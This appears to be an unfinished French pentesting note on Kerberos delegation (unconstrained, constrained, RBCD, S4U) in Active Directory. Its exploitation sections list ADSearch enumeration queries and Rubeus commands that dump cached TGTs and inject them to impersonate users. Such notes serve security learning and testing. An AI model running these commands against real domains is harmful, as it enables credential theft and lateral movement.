Nym0x

Délégation Kerberos

La délégation permet à un utilisateur ou à une machine d’agir au nom d’un autre utilisateur pour accéder à un service.

Exemple courant : un utilisateur s’authentifie sur une application web frontal qui intéragit avec une base de données en arrière plan. L’application web doit alors s’authentifier après de la base de données en tant que l’utilisateur.

Trois principaux schémas de délégation existent :

  • La délégation non contrainte
  • La délégation contrainte
  • La délégation contrainte basée sur les ressources

Délégation non contrainte

Principe

Lors d’une délégation non contrainte, le contrôleur de domaine (DC) inclut une copie du TGT de l’utilisateur dans le ticket de service (ST). Ainsi, dans l’exemple du dessus, le serveur web va recueillir le ST de l’utilisateur, puis l’extraire pour en récupérer un TGT et le stocker en mémoire. Lorsque le serveur web doit accéder à la base de données, il utilise le TGT pour demander un ST au nom de l’utilisateur.

Ainsi, si un attaquant parvient à compromettre une machine configurée pour la délégation non contrainte, il pourra extraire les TGT stockés en mémoire et les utiliser pour usurper l’identité des utilisateurs et accéder à d’autres services au sein du domaine.

Exploitation

TODO

Dans un premier temps, énumérer les machines qui sont autorisées à faire de la délégation non contrainte :

ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" --attributes samaccountname,dnshostname

Attention : les contrôleurs de domaine sont toujours autorisés à faire de la délégation non contrainte.

Il faut ensuite compromettre une machine listée comme autorisée à faire de la délégation non contrainte. Par la suite, il faudra lister en tant que SYSTEM les tickets en cache sur le poste :

Rubeus.exe triage

# La fonction "Monitor" de Rubeus permet de se mettre en écoute
Rubeus.exe monitor /interval:10 /nowrap

Puis, extraire le TGT souhaité en spécifiant avec le LUID du ticket :

Rubeus.exe dump /luid:$LUID /nowrap

Puis créer une nouvelle session en intégrant le TGT extrait :

Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:$DOMAIN /username:$USERNAME /password:FakePass /ticket:$TICKET

Délégation contrainte

Principe

Introduite dans Windows Server 2003 comme un moyen plus sûr de faire de la délégation Kerberos. Elle limite les services pouvant agir au nom d’un utilisateur, ne conserve plus le TGT de l’utilisateur en cache et autorise le délégateur à demander un ST pour un autre utilisateur en utilisant son propre TGT.

Exploitation

TODO

Dans un premier temps, énumérer les machines qui sont autorisées à faire de la délégation contrainte :

ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes samaccountname,dnshostname,msds-allowedtodelegateto --json

Récolter le TGT de l’objet (utilisateur ou ordinateur) délégateur :

Rubeus.exe triage
Rubeus.exe dump /luid:$LUID /service:krbtgt /nowrap

Délégation contrainte basée sur les ressources (RBCD)

Principe

Le contrôle est donné au service final, et non pas au délégateur, via l’attribut msDS-AllowedToActOnBehalfOfOtherIdentity. Ainsi, ce service aura une liste de comptes/utilisateurs en lesquels il aura confiance.

Exemple : le service mssql\SQLSERVER01 fait confiance au compte WEBSERVER$. Si un utilisateur s’authentifie auprès de WEBSERVER$, il pourra lui-même s’authentifier auprès de la ressource en tant que l’utilisateur. Mais si un utilisateur s’authentifie auprès d’un compte qui ne fait pas partie de la liste de confiance de mssql\SQLSERVER01, ce compte ne pourra pas se faire passer pour cet utilisateur auprès du service.

Problématique : il est possible de prendre le contrôle d’une machine si on peut modifier son attribut msDS-AllowedToActOnBehalfOfOtherIdentity. Cela ne nécessite pas la permission SeEnableDelegationPrivilege, juste d’avoir une ACL telle que WriteProperty, GenericAll, GenericWrite ou WriteDACL sur cette machine.

Pré-requis

  • Posséder une machine pour laquelle on peut modifier l’attribut msDS-AllowedToActOnBehalfOfOtherIdentity
  • Avoir le contrôle sur un autre principal qui possède un SPN (cela peut être juste le SPN de base cifs/machine)

Exploitation

–

S4U

S4U (Service For User) est une extension du protocole Kerberos permettant la délégation. Elle intègre deux autres mécanismes :

  • S4U2Proxy : permet à un service d’obtenir un ST pour un second service au nom d’un utilisateur, correspond à la délégation contrainte.
  • S4U2Self : permet à un service d’obtenir un ST pour lui-même mais au nom d’un autre utilisateur. Exemple : le service « HTTP/app.example.com » demande un ST pour « HTTP/app.example.com » au nom de “random_user”.